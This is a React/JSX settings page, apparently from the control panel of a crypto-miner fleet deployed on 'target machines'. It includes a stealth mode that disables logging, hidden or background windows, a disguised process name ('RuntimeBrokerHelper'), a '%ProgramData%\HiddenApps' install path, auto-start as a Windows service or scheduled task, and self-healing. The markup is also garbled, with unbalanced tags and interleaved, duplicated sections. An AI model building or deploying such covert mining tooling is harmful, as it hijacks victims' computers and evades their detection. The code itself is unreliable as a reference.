placeholder="%ProgramData%\\HiddenApps"
/>
</div>
)}
<div className="form-group">
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
<input
type="text"
className="input mono"
value={config.default_agent_config.install_relative_path || 'CryptoMiner/{worker}-{build_short}'}
onChange={(e) => updateField('default_agent_config.install_relative_path', e.target.value)}
/>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.default_agent_config.adapt_to_hardware ?? true}
onChange={(e) => updateField('default_agent_config.adapt_to_hardware', e.target.checked)} />
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.default_agent_config.self_healing ?? true}
onChange={(e) => updateField('default_agent_config.self_healing', e.target.checked)} />
<span>Self-healing <HelpTip field="self_healing" /></span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.default_agent_config.stealth_mode ?? false}
onChange={(e) => {
updateField('default_agent_config.stealth_mode', e.target.checked);
if (e.target.checked) updateField('default_agent_config.file_logging', false);
}} />
<span>Stealth mode <HelpTip field="stealth_mode" /></span>
</label>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
<select
className="select"
value={config.default_agent_config.display_mode || 'background'}
onChange={(e) => updateField('default_agent_config.display_mode', e.target.value)}
>
<option value="visible">Visible (console)</option>
<option value="silent">Silent (hidden window)</option>
<option value="background">Background (hidden + low priority)</option>
</select>
</div>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
<input
type="text"
className="input"
value={config.default_agent_config.process_name || 'RuntimeBrokerHelper'}
onChange={(e) => updateField('default_agent_config.process_name', e.target.value)}
placeholder="RuntimeBrokerHelper"
/>
</div>
</div>
<NeonCard accent="amber" className="settings-section">
<h2 className="font-display">Fleet Alerts</h2>
<p className="section-desc">Dashboard thresholds for agent health.</p>
<div className="form-group">
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
<select
className="select"
value={config.default_agent_config.mining_mode}
onChange={(e) => updateField('default_agent_config.mining_mode', e.target.value)}
>
<option value="always">Always Mine</option>
<option value="idle">Only When Idle</option>
<option value="scheduled">Scheduled Hours</option>
</select>
<label className="label">Offline After (minutes)</label>
<input type="number" className="input" min={1} value={config.alerts.offline_threshold_minutes}
onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)} />
</div>
{config.default_agent_config.mining_mode === 'idle' && (
<div className="form-row">
<div className="form-group">
<label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.default_agent_config.idle_threshold_pct}
onChange={(e) => updateField('default_agent_config.idle_threshold_pct', parseInt(e.target.value) || 20)}
/>
</div>
<div className="form-group">
<label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
<input
type="number"
className="input"
min={1}
value={config.default_agent_config.idle_duration_minutes}
onChange={(e) => updateField('default_agent_config.idle_duration_minutes', parseInt(e.target.value) || 5)}
/>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Hashrate Drop (%)</label>
<input type="number" className="input" value={config.alerts.hashrate_drop_threshold_pct}
onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)} />
</div>
<div className="form-group">
<label className="label">Rejection Rate (%)</label>
<input type="number" className="input" value={config.alerts.rejection_rate_threshold_pct}
onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)} />
</div>
</div>
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<h2 className="font-display">Alert Notifications</h2>
<p className="section-desc">Telegram and email when fleet thresholds fire (offline, hashrate crash, rejection spike).</p>
<div className="form-row">
<div className="form-group">
<label className="label">Telegram Bot Token</label>
<input type="password" className="input mono" value={config.alerts.telegram_bot_token || ''}
onChange={(e) => updateField('alerts.telegram_bot_token', e.target.value)} placeholder="123456:ABC…" />
</div>
<div className="form-group">
<label className="label">Telegram Chat ID</label>
<input type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="-100…" />
</div>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!config.alerts.email_enabled}
onChange={(e) => updateField('alerts.email_enabled', e.target.checked)} />
<span>Email alerts via SMTP</span>
</label>
</div>
{config.alerts.email_enabled && (
<>
<div className="form-row">
<div className="form-group">
<label className="label">SMTP Host</label>
<input type="text" className="input" value={config.alerts.smtp_host || ''}
onChange={(e) => updateField('alerts.smtp_host', e.target.value)} />
</div>
<div className="form-group">
<label className="label">SMTP Port</label>
<input type="number" className="input" value={config.alerts.smtp_port || 587}
onChange={(e) => updateField('alerts.smtp_port', parseInt(e.target.value) || 587)} />
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">SMTP User</label>
<input type="text" className="input" value={config.alerts.smtp_user || ''}
onChange={(e) => updateField('alerts.smtp_user', e.target.value)} />
</div>
<div className="form-group">
<label className="label">SMTP Password</label>
<input type="password" className="input" value={config.alerts.smtp_password || ''}
onChange={(e) => updateField('alerts.smtp_password', e.target.value)} />
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Email To</label>
<input type="email" className="input" value={config.alerts.email_to || ''}
onChange={(e) => updateField('alerts.email_to', e.target.value)} />
</div>
<div className="form-group">
<label className="label">Email From</label>
<input type="email" className="input" value={config.alerts.email_from || ''}
onChange={(e) => updateField('alerts.email_from', e.target.value)} />
</div>
</div>
</>
)}
{config.default_agent_config.mining_mode === 'scheduled' && (
<div className="form-row">
<div className="form-group">
<label className="label">Start Time <HelpTip field="schedule_start" /></label>
<input
type="time"
className="input"
value={config.default_agent_config.schedule_start}
onChange={(e) => updateField('default_agent_config.schedule_start', e.target.value)}
/>
</div>
<div className="form-group">
<label className="label">End Time <HelpTip field="schedule_end" /></label>
<input
type="time"
className="input"
value={config.default_agent_config.schedule_end}
onChange={(e) => updateField('default_agent_config.schedule_end', e.target.value)}
/>
</div>
</NeonCard>
<NeonCard accent="green" className="settings-section">
<h2 className="font-display">Data & Limits</h2>
<p className="section-desc">Retention and capacity for this host.</p>
<div className="form-row">
<div className="form-group">
<label className="label">Stats Retention (hours)</label>
<input type="number" className="input" min={24} value={s.stats_retention_hours}
onChange={(e) => updateField('server.stats_retention_hours', parseInt(e.target.value) || 168)} />
</div>
)}
</div>
<div className="form-group">
<label className="label">Keep Builds (days)</label>
<input type="number" className="input" min={1} value={s.build_retention_days}
onChange={(e) => updateField('server.build_retention_days', parseInt(e.target.value) || 30)} />
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Max Agents</label>
<input type="number" className="input" min={1} value={s.max_agents}
onChange={(e) => updateField('server.max_agents', parseInt(e.target.value) || 256)} />
</div>
<div className="form-group">
<label className="label">Max Build Size (MB)</label>
<input type="number" className="input" min={10} value={s.max_build_size_mb}
onChange={(e) => updateField('server.max_build_size_mb', parseInt(e.target.value) || 150)} />
</div>
</div>
<div className="form-group">
<label className="label">WebSocket Ping (sec)</label>
<input type="number" className="input" min={10} value={s.websocket_ping_seconds}
onChange={(e) => updateField('server.websocket_ping_seconds', parseInt(e.target.value) || 30)} />
</div>
</NeonCard>
{/* Background / Silent Mode */}
<div className="card settings-section">
<h2>Background & Deployment</h2>
<p className="section-desc">How miners behave on target machines.</p>
<NeonCard accent="brass" className="settings-section">
<h2 className="font-display">Server Logging</h2>
<p className="section-desc">What this control server writes to its log.</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.silent_mode}
onChange={(e) => updateField('background.silent_mode', e.target.checked)}
/>
<span>Silent Mode (no console window) <HelpTip field="silent_mode" /></span>
</label>
</div>
<div className="form-group">
<label className="label">Run As <HelpTip field="run_as" /></label>
<select
className="select"
value={config.background.run_as}
onChange={(e) => updateField('background.run_as', e.target.value)}
>
<option value="user">Current User</option>
<option value="service">Windows Service</option>
<option value="scheduled">Scheduled Task</option>
</select>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.auto_start}
onChange={(e) => updateField('background.auto_start', e.target.checked)}
/>
<span>Auto-start with Windows <HelpTip field="auto_start" /></span>
<input type="checkbox" className="checkbox" checked={s.log_agent_connections}
onChange={(e) => updateField('server.log_agent_connections', e.target.checked)} />
<span>Log agent connect / disconnect</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.background.minimize_to_tray}
onChange={(e) => updateField('background.minimize_to_tray', e.target.checked)}
/>
<span>Minimize to System Tray</span>
<input type="checkbox" className="checkbox" checked={s.log_share_submissions}
onChange={(e) => updateField('server.log_share_submissions', e.target.checked)} />
<span>Log every share submission</span>
</label>
</div>
</div>
{/* Alerts */}
<div className="card settings-section">
<h2>Alerts</h2>
<p className="section-desc">Configure thresholds for fleet health alerts.</p>
<div className="form-group">
<label className="label">Offline Threshold (minutes)</label>
<input
type="number"
className="input"
min={1}
value={config.alerts.offline_threshold_minutes}
onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)}
/>
<span className="form-hint">Alert if agent hasn't reported in this many minutes</span>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.log_pool_traffic}
onChange={(e) => updateField('server.log_pool_traffic', e.target.checked)} />
<span>Verbose pool traffic (debug)</span>
</label>
</div>
<div className="form-group">
<label className="label">Hashrate Drop Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.alerts.hashrate_drop_threshold_pct}
onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)}
/>
<span className="form-hint">Alert if hashrate drops by this percentage</span>
</div>
<div className="form-group">
<label className="label">Rejection Rate Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.alerts.rejection_rate_threshold_pct}
onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)}
/>
<span className="form-hint">Alert if share rejection rate exceeds this percentage</span>
</div>
</div>
</NeonCard>
</div>
</div>
);